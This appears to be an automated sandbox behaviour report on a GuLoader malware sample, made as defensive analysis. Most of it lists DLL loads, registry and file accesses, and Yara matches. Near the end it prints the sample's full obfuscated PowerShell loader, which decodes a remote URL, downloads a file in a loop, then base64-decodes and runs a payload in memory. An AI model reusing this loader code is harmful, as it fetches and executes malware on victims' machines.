Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: napinsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshbth.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winrnr.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: napinsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshbth.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winrnr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\AtBroker.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\AtBroker.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\SysWOW64\AtBroker.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\AtBroker.exe	Section loaded: ieframe.dll	Jump to behavior
Source: C:\Windows\SysWOW64\AtBroker.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\AtBroker.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\AtBroker.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\AtBroker.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\AtBroker.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\AtBroker.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\AtBroker.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\AtBroker.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\AtBroker.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\AtBroker.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\AtBroker.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\AtBroker.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\AtBroker.exe	Section loaded: mlang.dll	Jump to behavior
Source: C:\Windows\SysWOW64\AtBroker.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\SysWOW64\AtBroker.exe	Section loaded: winsqlite3.dll	Jump to behavior
Source: C:\Windows\SysWOW64\AtBroker.exe	Section loaded: vaultcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\AtBroker.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\SysWOW64\AtBroker.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\AtBroker.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\AtBroker.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\SysWOW64\AtBroker.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\AtBroker.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\SysWOW64\AtBroker.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\AtBroker.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\AtBroker.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\SysWOW64\AtBroker.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\AtBroker.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\AtBroker.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\AtBroker.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\AtBroker.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Program Files (x86)\NUuNNtrNamWTxkqzzGqVNSTAqlxtUxNEqmhzWeZQfrPwVAb\VkpUSAfAICCLXDmxnjqGHDByu.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Program Files (x86)\NUuNNtrNamWTxkqzzGqVNSTAqlxtUxNEqmhzWeZQfrPwVAb\VkpUSAfAICCLXDmxnjqGHDByu.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Program Files (x86)\NUuNNtrNamWTxkqzzGqVNSTAqlxtUxNEqmhzWeZQfrPwVAb\VkpUSAfAICCLXDmxnjqGHDByu.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Program Files (x86)\NUuNNtrNamWTxkqzzGqVNSTAqlxtUxNEqmhzWeZQfrPwVAb\VkpUSAfAICCLXDmxnjqGHDByu.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Program Files (x86)\NUuNNtrNamWTxkqzzGqVNSTAqlxtUxNEqmhzWeZQfrPwVAb\VkpUSAfAICCLXDmxnjqGHDByu.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Program Files (x86)\NUuNNtrNamWTxkqzzGqVNSTAqlxtUxNEqmhzWeZQfrPwVAb\VkpUSAfAICCLXDmxnjqGHDByu.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: cryptdlg.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: msoert2.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: msimg32.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: cryptui.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: msftedit.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: explorerframe.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: actxprxy.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: cryptdlg.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: msoert2.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: msimg32.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: cryptui.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: msftedit.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: explorerframe.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: iertutil.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{06290BD0-48AA-11D2-8432-006008C3FBFC}\InprocServer32

Jump to behavior

Source: C:\Program Files (x86)\Windows Mail\wab.exe

File opened: C:\Windows\SysWOW64\msftedit.dll

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Source: C:\Windows\SysWOW64\AtBroker.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\15.0\Outlook\Profiles\Outlook\

Jump to behavior

Source:	Binary string: System.Management.Automation.pdb source: powershell.exe, 00000005.00000002.2397711658.0000000006F9C000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: .Core.pdb's source: powershell.exe, 00000005.00000002.2397711658.0000000006F9C000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: R:\JoeSecurity\trunk\src\windows\usermode\tools\FakeChrome\Release\Chrome.pdb source: VkpUSAfAICCLXDmxnjqGHDByu.exe, 0000000B.00000002.3227629846.0000000000D9E000.00000002.00000001.01000000.00000007.sdmp, VkpUSAfAICCLXDmxnjqGHDByu.exe, 0000000D.00000002.3227696183.0000000000D9E000.00000002.00000001.01000000.00000007.sdmp
Source:	Binary string: ATBroker.pdb source: wab.exe, 00000009.00000003.2654569627.0000000004B7A000.00000004.00000020.00020000.00000000.sdmp, VkpUSAfAICCLXDmxnjqGHDByu.exe, 0000000B.00000002.3227345383.0000000000A88000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdbUGP source: wab.exe, 00000009.00000002.2704809577.0000000020700000.00000040.00001000.00020000.00000000.sdmp, wab.exe, 00000009.00000003.2594338552.000000002054D000.00000004.00000020.00020000.00000000.sdmp, wab.exe, 00000009.00000003.2592344262.0000000020393000.00000004.00000020.00020000.00000000.sdmp, wab.exe, 00000009.00000002.2704809577.000000002089E000.00000040.00001000.00020000.00000000.sdmp, AtBroker.exe, 0000000C.00000002.3228252377.0000000004C5E000.00000040.00001000.00020000.00000000.sdmp, AtBroker.exe, 0000000C.00000003.2687837024.0000000004911000.00000004.00000020.00020000.00000000.sdmp, AtBroker.exe, 0000000C.00000003.2685817873.0000000004764000.00000004.00000020.00020000.00000000.sdmp, AtBroker.exe, 0000000C.00000002.3228252377.0000000004AC0000.00000040.00001000.00020000.00000000.sdmp
Source:	Binary string: System.Core.pdb source: powershell.exe, 00000005.00000002.2397711658.0000000006F1B000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdb source: wab.exe, wab.exe, 00000009.00000002.2704809577.0000000020700000.00000040.00001000.00020000.00000000.sdmp, wab.exe, 00000009.00000003.2594338552.000000002054D000.00000004.00000020.00020000.00000000.sdmp, wab.exe, 00000009.00000003.2592344262.0000000020393000.00000004.00000020.00020000.00000000.sdmp, wab.exe, 00000009.00000002.2704809577.000000002089E000.00000040.00001000.00020000.00000000.sdmp, AtBroker.exe, 0000000C.00000002.3228252377.0000000004C5E000.00000040.00001000.00020000.00000000.sdmp, AtBroker.exe, 0000000C.00000003.2687837024.0000000004911000.00000004.00000020.00020000.00000000.sdmp, AtBroker.exe, 0000000C.00000003.2685817873.0000000004764000.00000004.00000020.00020000.00000000.sdmp, AtBroker.exe, 0000000C.00000002.3228252377.0000000004AC0000.00000040.00001000.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.pdb source: powershell.exe, 00000005.00000002.2387846679.0000000000A1D000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Core\v4.0_4.0.0.0__b77a5c561934e089\System.Core.pdb52 source: powershell.exe, 00000005.00000002.2387846679.0000000000A7C000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: ATBroker.pdbGCTL source: wab.exe, 00000009.00000003.2654569627.0000000004B7A000.00000004.00000020.00020000.00000000.sdmp, VkpUSAfAICCLXDmxnjqGHDByu.exe, 0000000B.00000002.3227345383.0000000000A88000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.Core.pdbk source: powershell.exe, 00000005.00000002.2397711658.0000000006F1B000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: wab.pdbGCTL source: AtBroker.exe, 0000000C.00000002.3227176757.0000000002C6A000.00000004.00000020.00020000.00000000.sdmp, AtBroker.exe, 0000000C.00000002.3228649501.00000000050EC000.00000004.10000000.00040000.00000000.sdmp, VkpUSAfAICCLXDmxnjqGHDByu.exe, 0000000D.00000000.2756945908.0000000002D1C000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 00000011.00000002.2991777439.0000000027D6C000.00000004.80000000.00040000.00000000.sdmp
Source:	Binary string: wab.pdb source: AtBroker.exe, 0000000C.00000002.3227176757.0000000002C6A000.00000004.00000020.00020000.00000000.sdmp, AtBroker.exe, 0000000C.00000002.3228649501.00000000050EC000.00000004.10000000.00040000.00000000.sdmp, VkpUSAfAICCLXDmxnjqGHDByu.exe, 0000000D.00000000.2756945908.0000000002D1C000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 00000011.00000002.2991777439.0000000027D6C000.00000004.80000000.00040000.00000000.sdmp

Data Obfuscation

VBScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: ShellExecute("PowerShell.exe", ""$Offence = 1;$Rabbitriesnterimsstyre='", "", "", "0");

Yara detected GuLoader

Source: Yara match	File source: 00000005.00000002.2407323813.0000000008C08000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.2407168182.0000000008350000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.2391197450.0000000005962000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.2529825040.000001AE40151000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY

Found suspicious powershell code related to unpacking or dynamic code loading

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Anti Malware Scan Interface: FromBase64String($Firelocks)$global:Verbigerating = [System.Text.Encoding]::ASCII.GetString($Litteraturlisten14)$global:Karriererne158=$Verbigerating.substring(336394,25080)<#Massedness Stowing restau
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Anti Malware Scan Interface: GetDelegateForFunctionPointer((Jeannys $Programmable $Teaktrslisterne), (Natriumets @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr])))$global:Mispoints = [AppDomain]::CurrentDomain.GetAssemblies()
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Anti Malware Scan Interface: DefineDynamicAssembly((New-Object System.Reflection.AssemblyName($Skjules)), [System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule($Tipvognstoge, $false).DefineType($Paaskn, $Predat
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Anti Malware Scan Interface: FromBase64String($Firelocks)$global:Verbigerating = [System.Text.Encoding]::ASCII.GetString($Litteraturlisten14)$global:Karriererne158=$Verbigerating.substring(336394,25080)<#Massedness Stowing restau

Suspicious powershell command line found

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$Offence = 1;$Rabbitriesnterimsstyre='Substrin';$Rabbitriesnterimsstyre+='g';Function adskilligt($Tegnedatabasen){$Bejig=$Tegnedatabasen.Length-$Offence;For($Rabbitries=1; $Rabbitries -lt $Bejig; $Rabbitries+=(2)){$Foundlings+=$Tegnedatabasen.$Rabbitriesnterimsstyre.Invoke($Rabbitries, $Offence);}$Foundlings;}function Apalachicola($Specieskbenes){&($milleardtedele) ($Specieskbenes);}$Folkedemokrati=adskilligt 'IMHoAzAi.l l,aO/ 5 .T0W S(,W,iUn,dgoBw,sH SNDTe .1H0P.G0,; RWPi nN6R4 ;N xM6T4K;, CrUv :R1M2G1 . 0C) BGVe,cEkBo,/,2 0,1,0 0E1L0 1, LFUiTr.enfko,xs/ 1A2U1Y.,0L ';$Godsterminalers=adskilligt 'hUPsMe rT-.AAgUe,n tG ';$Discredit=adskilligt 'Ghtt tJp :M/,/.8,7F. 1.2,1..U1 0 5S.M1A6P3C/ AKc a riiFa,t,r eA4S3,. cbhBm ';$Trlbundnes=adskilligt ' >M ';$milleardtedele=adskilligt 'TiUe.x ';$Phillipeener = adskilligt ' eScSh oS R%HaUp pEd ast aL%,\ B.aBl lHe pNrAeUsFs e r.e.s,. IfnNe K&E&M We.cAhSok .$ ';Apalachicola (adskilligt ' $MgRlFoUb aKl :MGMeBrCmKiEf.uUgBe.= (,cTmHdV /HcE .$UP hTiUl.lPiUpPe eSn.eDrA), ');Apalachicola (adskilligt 's$,g l,o b aKlv:IBAaFrFrFa m uTnMdpaZsP= $ D i sNcUr eVd iFtS.TsLpSlDiTtU( $,T.r lFb,uEn dQn eNs )S ');$Discredit=$Barramundas[0];Apalachicola (adskilligt 'p$ gEl.oKbTaNlF: o,vUerr gBe nKe.r a.l i z iUnRg =,N,eSw -.O b jTe cUtP .SFyus.tBevmD. N eEtG.sWBeFbOC.lKi eSnFt ');Apalachicola (adskilligt 'W$ o.v e.rLgMeMn.eUrJaGlDiPz iPn gP. H eNaGdAe,rDsA[ $PGEo d sPtAe.r,mBiMnUa lje,r sA]T=U$.F o.l kSeRd e,mGoOkFrPa tPi ');$Lordlily=adskilligt 'DoRv eArHgueRn.eSrKaSl iDzPiGn g .,DSoTwFn,l.oBaRd F iSlHeP( $ D i,sBc rSe.dHittK,I$,O z,oPn.iTc,), ';$Lordlily=$Germifuge[1]+$Lordlily;$Ozonic=$Germifuge[0];Apalachicola (adskilligt 'n$,g.l oSb a.la:Rf,eTrKsTk vLa n d,e n,eB=C(,T eVsSt -WPEa tIh $MO z,oEn,iWc ) ');while (!$ferskvandene) {Apalachicola (adskilligt ' $ g lVo bOaHl :FcRoum.p l e,m e,nAt eIr.= $ tJr u eB ') ;Apalachicola $Lordlily;Apalachicola (adskilligt ' S.t a,rRtM- SDlLeNe.p 4T ');Apalachicola (adskilligt ' $Fg l,o b a l :Ff,e r sTkAv a nOd.eTn e,= (TTSe.s t -LPTaLtHh C$SO zBo.nIiOcA) ') ;Apalachicola (adskilligt 'U$ g l o bHaKl : E n eMr,vSeTrTeS=R$BgSl oBb.a.lH:FT eOr m o m eMtEr.e.n.eF+,+ % $ BPa r r a m uBnAdNa s .ScKoBuCn ts ') ;$Discredit=$Barramundas[$Enervere];}Apalachicola (adskilligt 'u$SgOlWo,bCaNl : FTiTrTeFlTo c kLs ,=. UG eTtT-OC,o nRtle,nAt $FO,z o.nEiIcA ');Apalachicola (adskilligt ',$Cg l oAbpaClP: LHiPt tPe rHa t uMrIl i.s t e nE1U4N M=D [.S.y.s.tKe mr.,CIo,nTv e r,t,]F:D: F rAo.m.B a.sSeB6T4,SEt rSiSn g,( $MF iGrRePlio cSk sM)N ');Apalachicola (adskilligt 'G$Jg,lLoGbDaTl :sV eEr b iBg eVr a tHi n.gB B=A [RSWyEs.t e,ms. TLefx tC. EKn cNoOdEitnMg ],:K:KA SPC IUIT. G,eCt S tNrmi nPg (U$ LAiGtEt e rvaEt uMrRl i.sTt e ne1B4.)S ');Apalachicola (adskilligt 'N$.g.lMoVboaSl.: Kta r r i e r e.r nDeS1 5 8S= $OV eRrPbAi g e,r aQt,i,nHgN. sBuRb sHtMr iPnRgL( 3 3B6T3 9 4,,.2B5
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe" "$Offence = 1;$Rabbitriesnterimsstyre='Substrin';$Rabbitriesnterimsstyre+='g';Function adskilligt($Tegnedatabasen){$Bejig=$Tegnedatabasen.Length-$Offence;For($Rabbitries=1; $Rabbitries -lt $Bejig; $Rabbitries+=(2)){$Foundlings+=$Tegnedatabasen.$Rabbitriesnterimsstyre.Invoke($Rabbitries, $Offence);}$Foundlings;}function Apalachicola($Specieskbenes){&($milleardtedele) ($Specieskbenes);}$Folkedemokrati=adskilligt 'IMHoAzAi.l l,aO/ 5 .T0W S(,W,iUn,dgoBw,sH SNDTe .1H0P.G0,; RWPi nN6R4 ;N xM6T4K;, CrUv :R1M2G1 . 0C) BGVe,cEkBo,/,2 0,1,0 0E1L0 1, LFUiTr.enfko,xs/ 1A2U1Y.,0L ';$Godsterminalers=adskilligt 'hUPsMe rT-.AAgUe,n tG ';$Discredit=adskilligt 'Ghtt tJp :M/,/.8,7F. 1.2,1..U1 0 5S.M1A6P3C/ AKc a riiFa,t,r eA4S3,. cbhBm ';$Trlbundnes=adskilligt ' >M ';$milleardtedele=adskilligt 'TiUe.x ';$Phillipeener = adskilligt ' eScSh oS R%HaUp pEd ast aL%,\ B.aBl lHe pNrAeUsFs e r.e.s,. IfnNe K&E&M We.cAhSok .$ ';Apalachicola (adskilligt ' $MgRlFoUb aKl :MGMeBrCmKiEf.uUgBe.= (,cTmHdV /HcE .$UP hTiUl.lPiUpPe eSn.eDrA), ');Apalachicola (adskilligt 's$,g l,o b aKlv:IBAaFrFrFa m uTnMdpaZsP= $ D i sNcUr eVd iFtS.TsLpSlDiTtU( $,T.r lFb,uEn dQn eNs )S ');$Discredit=$Barramundas[0];Apalachicola (adskilligt 'p$ gEl.oKbTaNlF: o,vUerr gBe nKe.r a.l i z iUnRg =,N,eSw -.O b jTe cUtP .SFyus.tBevmD. N eEtG.sWBeFbOC.lKi eSnFt ');Apalachicola (adskilligt 'W$ o.v e.rLgMeMn.eUrJaGlDiPz iPn gP. H eNaGdAe,rDsA[ $PGEo d sPtAe.r,mBiMnUa lje,r sA]T=U$.F o.l kSeRd e,mGoOkFrPa tPi ');$Lordlily=adskilligt 'DoRv eArHgueRn.eSrKaSl iDzPiGn g .,DSoTwFn,l.oBaRd F iSlHeP( $ D i,sBc rSe.dHittK,I$,O 